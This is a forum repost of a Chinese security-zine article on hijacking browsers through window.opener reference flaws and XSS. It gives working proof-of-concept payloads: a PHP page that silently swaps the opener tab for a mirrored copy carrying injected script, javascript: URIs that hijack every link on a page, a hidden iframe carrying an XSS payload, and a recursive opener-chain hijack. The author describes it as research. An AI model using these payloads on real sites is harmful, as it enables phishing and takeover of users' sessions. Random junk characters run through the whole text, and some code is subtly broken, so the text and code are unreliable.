找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1978|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==. {* h  {) @6 a9 [

* A" |+ I! S/ S                       Issue 0x03, Phile #0x05 of 0x07
- r2 G$ ^2 ?( C9 k
: g1 X1 ?* |# W3 q+ c
4 z' w  S! Z# @0 P3 F/ z; Z1 N|=---------------------------------------------------------------------------=|# q4 a2 a7 s7 D' F( u
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
. w6 e: d. {  B! f|=---------------------------------------------------------------------------=|# W% \' ^; v; }6 ^' x5 ^7 B+ u
|=---------------------------------------------------------------------------=|7 Z  w' |, `6 M  U
|=------------------------=[      By rayh4c     ]=---------------------------=|: t' J: |& \; j
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|0 X! m9 D2 J) U- I% Q8 Y
|=---------------------------------------------------------------------------=|
  T4 V$ y6 I/ t
8 R8 B2 p6 N3 f: t2 E
/ O+ h  ^+ J& n6 d6 }  o) e& D[目录]- p" M" }3 n9 U/ q6 x4 `

+ K( ~* q( `+ ]2 o2 F* F1. 前言
+ _& C2 F* ?4 `3 q/ B2. 同源策略简叙3 u& o5 g. ?$ t2 C1 K0 m4 ^4 o7 b
3. 理解window对象的同源策略
' R, h( [6 G2 b, z" D5 v& p4. 窗口引用功能中的同源策略漏洞
/ {" d2 b4 v  i# o5 c  a: W9 R  p" b  4.1 父窗口引用子窗口的同源策略问题
$ N. V) a4 \$ w9 N! `  4.2 子窗口引用父窗口的同源策略问题
3 o' E% f7 a5 b4 K+ ]/ Q5. 利用窗口引用漏洞劫持浏览器
  g# i1 m$ z" z6. 利用XSS漏洞劫持浏览器
" G) @2 ?6 t* b6 Q  6.1 正向跨窗口劫持7 S4 p; Z5 ~. n1 c
  6.2 反向跨窗口劫持4 C( ]: G" ?; G# [- N! S* d8 D8 j
  6.3 极度危险的跨框架窗口引用劫持
* T) z: k* o. q3 Q9 p  6.4 极度危险的正反向跨窗口递归劫持( Q( Z' I$ U" {1 Q3 r4 L
  6.5 完全控制浏览器
3 A4 F% T( t4 i7. 后记; d9 D8 j4 r+ S3 u
8. 参考/ K2 g; H  m1 }: q

" T6 A% b, z! x) F2 f2 Q0 t: {% n' ~0 N# m
一、前言4 T; w" x& n5 Q  Z" e

$ d4 _* E" G% F- u- M" w    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
( e6 M5 Q* ?0 U+ b( P: S( b# X: U友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
) ^6 r5 [" E  L5 X! v劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
  m5 d. Q' G2 w' Q( A! ~条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
; v, [  j" }# f( E  Z' B3 h5 L# H2 B1 e1 T. @0 a, I
! \1 o& i( t1 p' d* l5 a& N) ]
二、同源策略简叙' Q* F. N) T2 a0 m6 ?3 v, {
/ d: m* L% O1 g  Z( y0 e
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以- e$ A4 t7 L& E4 i+ H
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都6 w3 H- l/ d# P, Q$ f" E0 [
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木: J9 P9 p; A4 J8 g" Z4 m) n
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个9 W8 x+ Y4 P0 v" P6 O: @* e( e
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
5 t, E0 @: x  R& \  o; _( C. w/ f/ W0 C: I9 Z& S
) L/ f3 I4 o) S: z
三、理解window对象的同源策略
% R8 [( [- i' \$ \# k' u( @4 A. y1 ^( I' M* B# Y- _3 ?9 s/ d
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对$ H  v* e% q$ J6 t& o
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:5 [, {$ J8 g" T' K* ]* x

3 |0 M* H; y7 {+ C. U* i--code-------------------------------------------------------------------------
% f6 I# l& F0 o<script language="javascript">5 B1 O; B9 P' C, U
for(p in window) document.write(p+"<br>");1 G4 \0 Z3 G' F% O# j4 w
</script>9 C( D% H) m, ], Y  i8 ]2 {
-------------------------------------------------------------------------------
0 q* q1 M2 }% {1 s& e9 \
1 h7 Z+ C! a7 s7 `9 F    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方% w( \1 u( L  C1 \. q) O% d
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
/ f! U! q1 F6 Q1 G+ u. c3 Q这些属性和方法就必须遵循同源策略。
. {( `. d1 b! W8 ^, M
0 b6 G+ ~9 n3 S# ^* o    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那$ d0 U/ X4 a% k& y4 c' ~/ G
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须5 D, t+ G% i0 p+ w' M- ^; u! O
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这6 z8 K8 s8 R( [4 |
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的0 N7 d* E5 ~; G5 D4 Y
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location7 ]8 z7 z; Q% M# P3 p' l
属性并没有被拒绝访问。
3 \( S( @5 f0 T3 J$ b
$ Q% E' k1 R; V5 M* E: Z+ y--demo.html--------------------------------------------------------------------
% L* |  I" u2 ^- b<script language="javascript">   
" o9 Z6 x) a! Q- F3 B' `. j' Ifunction allPrpos(obj) {      - ^6 }& F/ \+ d$ h" N
      var props = "<table><tr><td>名称</td><td>值</td>";           
; R9 @$ z9 s2 `6 B' ~      for(var p in obj){          # R0 a# g5 a2 [3 p
            if(typeof(obj[p])=="function"){   
0 |' r* x1 n8 E  D4 g- T. {+ r                   obj[p]();   % F& M) L7 o( K: x2 V2 ?
             }else{                     
- Z4 ]8 a! E$ X$ e                  try   0 ^1 a6 h7 ^3 r$ M
                   {   
2 R, H( m, v% j- Q3 f: d: k                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
; ]9 k1 i) i+ z2 e3 D5 j9 G! |                   }   
  ~# P6 a1 k; W! F" Y/ R! k! ~                  catch (ex)   - N2 Y  N$ _' o0 \0 |! O
                   {   
4 ^) d- P& j: q                   , i3 I1 x3 k* ?) {8 Q& \) \. q
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
2 ~) F8 A7 _- s% X0 z9 b/ e* J                   }   
. t, `# C) I6 Y' s  n/ a                       
+ u: l' o$ h) n% N! c4 m" s9 V             }   
1 a9 j8 K& D; t) t       }   
2 L5 @, N" {0 X: x. Z   ; l( ]' ^* P. _7 G9 W. W  G+ ~
       document.write(props+"</table>");   
+ ?: i6 C& M; @" q6 S}   ; p+ F' w3 j5 B/ [
   
! Z3 @/ I% y! d  B) Gfunction createWin() {
% p% W+ X' ?& B3 E3 r9 J- ~        newWin = window.open ("http://www.google.com");  
$ d" _7 A) t6 R+ ?        setTimeout(function(){allPrpos(newWin)},2000); 0 T8 R4 @, ?! d$ Z' I5 [* @
} . A  }1 W* ], N
7 P8 C% |6 H; q; ~, U
</script>
$ A- l8 i5 z( X- J
) y! x7 f) f  D<button onclick='createWin()'>创建一个非同源子窗口测试</button>, ^/ U; r: d, F3 H( \
-------------------------------------------------------------------------------
( K' h0 J( f& }$ j2 O. n/ w& I
0 F; V8 y. _+ b* D: f6 @4 ]4 M% U
四、窗口引用功能中的同源策略漏洞
; {* a0 a" x4 J# o% u- x& v8 P% U9 S, ^+ ?& N
4.1 父窗口引用子窗口的同源策略问题
6 ~; r0 i/ u+ C" \4 y% p* X% R4 q& z: M# Y2 b8 e; V6 Y0 E9 S
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,; X: c: x' X  Z7 }- P$ g
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
+ Q4 y# s( C$ D# A浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
- ~: X( ]; E6 B3 Q4 u行测试,会发现父窗口可以控制非同源子窗口location属性值。* l& Z3 @: f: _8 Q- u

: v+ `0 I% s# Y' c! s" a--vul1.html--------------------------------------------------------------------
" l' T, R* \6 f2 I: J<script language="javascript">
$ I0 s2 R' o  _; t) z2 f  h6 \function createWin() {  
  a  h. Q5 I7 `  Q. K+ {6 {0 V4 Y        newWin = window.open ("http://www.google.com");  8 @: d2 J- N5 y/ j
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
; I1 f0 {8 L$ c/ c2 X6 x} ' v9 d, e$ ]! N$ e. q# C
</script>
9 Q1 i9 g( t" |2 u4 p$ c2 W9 u; R+ b1 w
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ A! ~1 }  I& i7 }; X+ K8 d-------------------------------------------------------------------------------
$ m- X0 O$ X6 b6 ^; a7 @/ L: P+ D  T
8 U7 Q" ?, k% f; |$ Y
4.2 子窗口引用父窗口的同源策略问题
7 ], x7 K: L5 Q4 t* ~! N' U
& k2 m6 w8 n# u/ u) q    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使2 X2 d3 K& v! \4 j/ f5 p6 n  U
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
1 ]2 M/ Y1 ^& L! w( y% R可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
( i( Z& G' |- q+ A* u' P会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。; y, T- q5 K9 `1 f5 A8 m. F3 E
: B' B+ [' C, x  c5 g* Y
--code-------------------------------------------------------------------------$ Y+ `7 g( K8 O6 t$ D8 _

8 _6 T$ _: X/ g% s- m; h8 m& Fjavascript:window.opener.location = "http://www.80sec.com";void(0);& `$ D6 v' \$ D9 \( _
9 K- L* a. n$ @: W+ F5 o0 M
-------------------------------------------------------------------------------
9 E& y% s" q# w" K; Y) h" [8 g3 o5 S: R) R3 T
5 o. K5 Q8 A$ W9 ?( U/ h
五、利用窗口引用漏洞劫持浏览器
/ L' V* u8 {% k$ b1 b+ v9 \5 ]8 f7 Q, D6 s- L9 i( ^) \: i
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
% C! K! Y+ A4 @1 q; d窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那3 p4 Q, ?5 n8 ?# |
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
. X6 O( ^5 p2 Z8 h- T5 {7 T  s' T& }3 k$ N
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
6 W9 p. Z. ^2 Q" v& U' M8 d生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或6 G( L( A/ r0 }) e
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接/ G) n  h1 _  i' N4 {
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
# n9 g6 X- k3 Z' t5 e& L# i2 B会产生什么可怕的后果。5 b/ b. W/ A% ]: V+ I% }$ Q

" R5 G7 q( r' w    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
+ V  f( j$ f5 r# B们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php: i  s' m0 H0 m3 o+ Q. Y! }% m
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
1 t0 L% e  ^* i1 I2 \' f! U( T! u候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可5 O: D4 [  L) s$ ?; [* I' e2 h
以做更多的事情,所有的一切仅仅是因为点击了一个链接。4 w) @3 |! }; i# U: \# a
, X2 ^$ H  H1 c" d
--hjk_ref.php------------------------------------------------------------------2 x7 I( p1 n) y1 _9 l& z
<?php) s7 h: j6 v8 I. X4 E+ H
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
& r2 X+ i5 P4 P; i. }7 ]: e1 t$Url_Mirror = $_SERVER["HTTP_REFERER"];
3 Y6 y" W; I4 j& o. K4 R" X} # M; C( j2 |$ ?" c" R* E8 E
if(isset ($_GET['ref'])) {, x/ v. I9 z4 |! }" ~4 B  W
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';; C8 v, e' P1 g, ^' V& P" z0 A: s
}
3 U& w+ N7 q. N1 c) z' t! W# w3 X?>/ Y3 M5 G) w' ]5 r' \- h

( o" j5 D5 p; u<script language="javascript">% U8 Z! V& ?# _  ?  x
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         " ^) A# y$ D! B1 m+ U5 Y- m' ^" p' f  _
</script>. p$ V9 W8 H* G! _+ Z: ^
-------------------------------------------------------------------------------
7 X* K8 T; ?/ S( F
3 K2 [+ B/ M) I5 E    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
" v6 [) M, I: U/ q  f9 f# f* `5 v8 B. N/ `
1 ~- [2 B( W( Q% v
六、利用XSS漏洞劫持浏览器
6 @0 ?* S( C. ~9 W
' M. r" w1 z: D7 v    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
  W% g) l' \+ @持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后1 W# P5 x9 {0 F' o8 n! \! p3 O
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起4 X( b4 \; y/ D, r+ R. `% F
讨论跨站师的终极技巧:( @4 n. X' E2 k- l; D' W& S5 |

) z! Q8 R& B8 ^1 m8 O" \
9 S7 t  w5 m2 c0 }% [7 m6.1 正向跨窗口劫持
# N. V, P. U2 m( F5 ^8 ]& f$ }+ w9 Y; U$ T3 X6 g( y, l
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
: c1 o. l5 V. I. m6 e5 c主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
9 F, `  v) B' A2 h2 K( `接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
7 Z6 I) u1 S( p8 k框脚本。
- P9 O5 s( x% j$ s+ H$ ?( H
- I  b% ?0 r, ]9 y& T4 ?9 ]) p--hijack_open.js---------------------------------------------------------------
6 g4 s3 Z% L" L* @$ r  p
! ]5 O' d2 [: _! x$ E! `javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);6 s7 D& Q  L+ }6 j; _; s# ]: g
' p0 d% K8 J$ n4 r* A5 {8 N
-------------------------------------------------------------------------------6 A/ i( X9 J- Q; X5 r
4 n2 L8 |6 ]7 g
  A0 M3 ^1 L2 o# F6 J/ O
6.2 反向跨窗口劫持# `! R9 \3 ~2 D" |; d( {
: ?" M: q  I9 G5 e; |4 F. |# Y
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
- p+ |8 }: U' i# D# [3 D! ~码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话0 D2 \- Q5 F6 b/ _
框脚本。& V' S* q. E0 b' _2 g/ w

" I- _8 G+ t5 h/ j: t0 d( R--hijack_opener.js-------------------------------------------------------------9 r) b2 C3 E/ X0 d' ^; g

  C, q- |5 j3 F+ ?! W9 ojavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);% Y* Y" {! }6 W0 w4 A) H" S, C6 s
! A" @5 j/ ?% D4 s& G' U0 U
-------------------------------------------------------------------------------
+ T  s( z9 J; P! C0 k" Q& c
( E+ g( V2 @! k9 S, }' v1 r# D5 ~( M$ A/ ~2 W' B9 x
6.3 极度危险的跨框架窗口引用劫持3 i+ S# z- M( g: s' |5 z' B
- b, n% c' b& K8 a& m  L
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞9 S- o/ n. S% o+ R- {
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
( S' u3 l6 p" O; D适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个. O8 `4 g+ s  m7 P7 A' K# f8 C
非持久型的XSS,如下:4 s! ^! F6 N+ K0 B6 A9 c7 v
8 S# |, V  a; u/ P
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
- ^1 G9 i8 U2 ~9 t' N+ k5 [" Y- k  ^# z1 G! t) W8 U$ q
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
  M. H: y4 F7 J+ o注入脚本。2 I9 P7 e. b6 q6 t8 v! S

& |3 @4 r- W$ S5 z--hijack_frame_opener.js-------------------------------------------------------( N2 l6 X- m6 p2 ?
<script>6 L6 U* c( ]( B5 K
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";) N! X( ?+ }" h! s+ R0 I. f
</script>- p. ^$ J$ x* p" A0 E; [( {# I4 V
-------------------------------------------------------------------------------. t" w$ I' l6 b/ s

& _9 H6 f- @1 n7 \6 V* p6 o1 {8 R# w- s/ u$ J* z% I
6.4 极度危险的正反向跨窗口递归劫持
2 [3 k; W/ s2 P' c; H6 d
$ L' C( \# M  z0 ~  u7 r# L    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window) o- F+ c: ]/ U. _5 I
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
0 P. V3 Q9 i" p* N- S异常处理规避之间跨域页面的访问异常,代码如下:
; ~# f( c2 [4 S! B  l
+ R1 O; P2 y) [7 c! w* x4 |--code-------------------------------------------------------------------------% m* c5 Z4 O6 w6 I# G

8 _% |" E2 D) J" ojavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
1 `: ?6 i% z8 s; e* B/ S4 m7 q4 w4 e! d% k! O
-------------------------------------------------------------------------------4 S4 G$ Q5 P4 y9 m  ?9 S
; h8 o- x' K& l+ C/ a
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可" A  A- q" L' x1 o; ?, b2 v: `
以劫持B域之前的A域页面,从而实现“隔空打击”。5 u; g  @, S1 ?1 v& P' F

7 b6 s0 z+ o7 A* z, ^. }! _- A    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面- S! k% m0 u+ r: ]" F$ [2 M
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
' ?, G8 \& P- K/ G0 `  }4 Z4 h% d5 C( ]" n( y$ |
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。) f0 {; ?6 O( |& b+ Y: g5 z7 o

& B) v* F1 z, a* C1 {5 A
" z2 u3 K. F: C' \$ _! q/ d6.5 完全控制浏览器9 g) A2 {5 W; k, \8 B+ U, O# B  y
. C6 t, I" n4 [; M) r4 o1 n. G
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则! k0 m' t- u1 d
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS1 \) U+ W0 s5 n0 t) h2 A5 [, q
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
) v1 s: h0 `7 |4 I而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
; p% h# p  ~2 x  m列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站4 [2 p4 k0 j& q; w$ q
师的终极目标 - 完全控制浏览器。3 t3 t5 M! i3 u9 Y3 e$ s# D
7 y$ E1 H; e4 f  w5 g

. @4 @3 R8 W" C, |( \% R  w七、后记* r2 ^7 @9 D. t% l6 L( ]5 ]
# B3 D7 g3 s! B% O' S4 A" ?
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
/ T) {0 y/ u8 l* l( A与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予! L0 X: _/ B5 S5 f- N) H$ e! o
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。/ q7 ~" L3 S- s0 Y2 ?

/ w" `+ L' Y: M/ J, U$ B6 [3 {( }, o1 I7 M2 Z6 G
八、参考
( z6 o. V: j3 o" X) `
3 s+ v! k/ Z6 L5 r) k7 }1. http://en.wikipedia.org/wiki/Same_origin_policy
- S# ?; z4 t4 q2 y2. http://code.google.com/p/browser ... licy_for_DOM_access) A( [1 k: X' u! Z! ^8 h0 X1 D" ?
3. http://www.w3.org/TR/Window/0 M/ X4 s5 e" V6 k
4. http://www.80sec.com/release/browser-hijacking.txt
/ t: D# a8 m, j6 V2 l/ M5. http://www.80sec.com/all-browser-security-alert.html
; W3 ?7 V* q- i4 \' J6. http://www.80sec.com/ms08-058-attacks-google.html7 d4 V7 ]( D- S7 \' p

" ~9 e+ Z! _) g( I" d. Q" k0 \-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表